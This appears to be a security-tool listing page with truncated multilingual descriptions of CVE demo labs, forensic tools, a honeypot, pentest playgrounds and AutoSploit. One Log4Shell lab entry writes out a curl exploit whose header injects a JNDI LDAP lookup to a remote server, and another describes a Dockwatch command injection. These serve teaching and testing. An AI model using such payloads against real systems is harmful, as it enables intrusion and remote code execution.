CVE-2018-19131

CVE-2018-19131 Демо Автор: Jonathan M. Wilbur Год авторского права: 2018 Лицензия: MIT License Не делайте ничего незаконного с этим. Это не вредоносное ПО. Это всего лишь proof-of-concept. Это демонстрация CVE-2018-19131, которая запускается в приложении Docker Compose. Данный проект собирает Squ...

FACT

Инструмент сбора криминалистических артефактов Обзор FACT — это инструмент для сбора, обработки и визуализации криминалистических данных из кластеров машин, работающих в облаке или локально. Развёртывание Для простого одноузлового развёртывания мы рекомендуем использовать Docker и Docker Compose...

CVE-2026-20896

Лаборатория CVE-2026-20896 Этот репозиторий предоставляет небольшую автономную лабораторию для изучения проблемы CVE-2026-20896 в контролируемой и авторизованной среде. Обзор Лаборатория включает: poc.py: мой кастомизированный скрипт proof-of-concept, демонстрирующий проблему и экспортирующий фай...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test 테스트 1. LDAP 서버와 해킹 파일 다운로드 서버 1.1 Docker-compose 실행 docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz" ports: -...

ehir-vuln-enterprise-login

엔터프라이즈 기업 포털 로컬 설정 이 프로젝트는 프런트엔드 포털과 통합 백엔드 게이트웨이를 갖춘 로컬 컨테이너 기반 설정을 포함합니다. 작업공간 구조 client/: Bootstrap 5와 API 연결 처리기를 사용하는 정적 프런트엔드 파일index.html을 포함합니다. docker-compose.yml: 로컬 다중 컨테이너 오케스트레이션 파일입니다. 사용 지침 1. 스택 빌드 및 실행 백그라운드분리 모드에서 서비스를 시작하려면: root@kitploit: docker-compose up -d 2. 활성 서비스 및 상태 확인...

EverShop-Lab-CVE-2026-25993

CVE-2026-25993 — Лабораторная работа по SQL-инъекции второго порядка в EverShop Предварительные требования Docker Engine 24+ с Docker Compose v2+ 2 ГБ свободной оперативной памяти Развертывание root@kitploit: cd EverShop-Lab/ docker compose up Подождите 2 минуты для первой сборки клонирование...

Dockwatch <= 0.6.567 - OS Command Injection

Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete...

lk_scraper

LinkedIn Scraper Scrapes Any LinkedIn Data Installation root@kitploit: $ pip install git+git://github.com/jqueguiner/lkscraper Setup Using Docker compose root@kitploit: $ docker-compose up -d $ docker-compose run lkscraper python3 Using Docker only for Selenium server First, you need to run a...

CVE-2020-11800

Разделы, требуемые методическими указаниями, помечены как «Обязательно». 1. Среда Обязательно Dockerfile Обязательно В этой среде используется пользовательский Dockerfile, основанный на уязвимом образе Zabbix Server от Vulhub. root@kitploit: FROM vulhub/zabbix:3.0.3-server Dockerfile собирает...

conpot

Conpot About Conpot is an ICS honeypot with the goal to collect intelligence about the motives and methods of adversaries targeting industrial control systems. Documentation The documentation can be found here. If you are just checking out conpot, we suggest that you go for quick install. If you...

n8n-CVE-2025-68613

n8n CVE-2025-68613 — Лаборатория Отказ от ответственности Этот репозиторий содержит учебную лабораторию, предназначенную строго для образовательных и этических целей. Данную лабораторию следует использовать только в контролируемых средах Не развертывайте и не тестируйте против систем, которыми вы...

iris-web

Система расследования инцидентов Текущая версия v2.4.20 Онлайн-демонстрация IRIS Iris — это веб-коллаборативная платформа, предназначенная для помощи специалистам по реагированию на инциденты в обмене техническими деталями во время расследований. Содержание Начало работы Запуск IrisWeb Конфигурац...

log4shell_lab

log4shell 익스플로잇 랩 이 저장소는 log4shell 익스플로잇 랩을 위한 원라인 설정입니다. 랩 설정: docker-compose up -d 익스플로잇 실행: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 그런 다음 vul 컨테이너로 이동하여 실제로 머신을 장악했는지 확인하세요: 랩 설정 설명 영상: https://www.youtube.com/watch?v=WBzR30JcT5g 코드 설명 영상:...

pentest_lab

Pentest Lab Я больше не занимаюсь активной разработкой этого проекта, но буду исправлять ошибки и рассматривать issues и pull requests. Помощь приветствуется : Эта локальная лаборатория для пентеста использует docker compose для запуска нескольких сервисов-жертв и атакующего сервиса с Kali Linux...

AutoSploit

Инструкции по развертыванию в Docker tl;dr С помощью docker-compose: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker docker-compose run --rm autosploit Только с помощью Docker: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd...

React2Shell-CVE-2025-55182

HackIndex.IO - React2Shell - CVE-2025-55182 + CVE-2025-66478 React2Shell 취약점을 위한 HackIndex.io 샌드박스 환경입니다. 포트 3000에서 웹 앱을, 포트 2222에서 SSH 서버를 시작합니다. 환경 시작 root@kitploit: docker compose up --build --force-recreate SSH 웹 관리자 포트 2222 webadmin - TrainingPassword123! root@kitploit: ssh...

web-hacking-playground

Web Hacking Playground Description Web Hacking Playground is a controlled web hacking environment. It consists of vulnerabilities found in real cases, both in pentests and in Bug Bounty programs. The objective is that users can practice with them, and learn to detect and exploit them. Other topic...

challenge-cve-2024-3552

challenge-cve-2024-3552 챌린지를 시작하려면 다음 명령을 실행하세요: docker-compose up 그런 다음 http://localhost:8080에 접속하세요 활성 플러그인 웹 디렉터리는 무료입니다 :D 그리고 익스플로잇을 시작하세요...

tarnish

tarnish tarnish is a static-analysis tool to aid researchers in security reviews of Chrome extensions. It automates much of the regular grunt work and helps you quickly identify potential security vulnerabilities. This tool accompanies the research blog post which can be found here. If you don't...

CVE-2024-49368

Configurazione Exploit Nginx UI Questa guida descrive i passaggi per configurare Nginx UI usando Docker Compose, creare un utente, eseguire un exploit e verificare i risultati all'interno del contenitore Docker. Prerequisiti Assicurati di avere Docker e Docker Compose installati sulla tua macchin...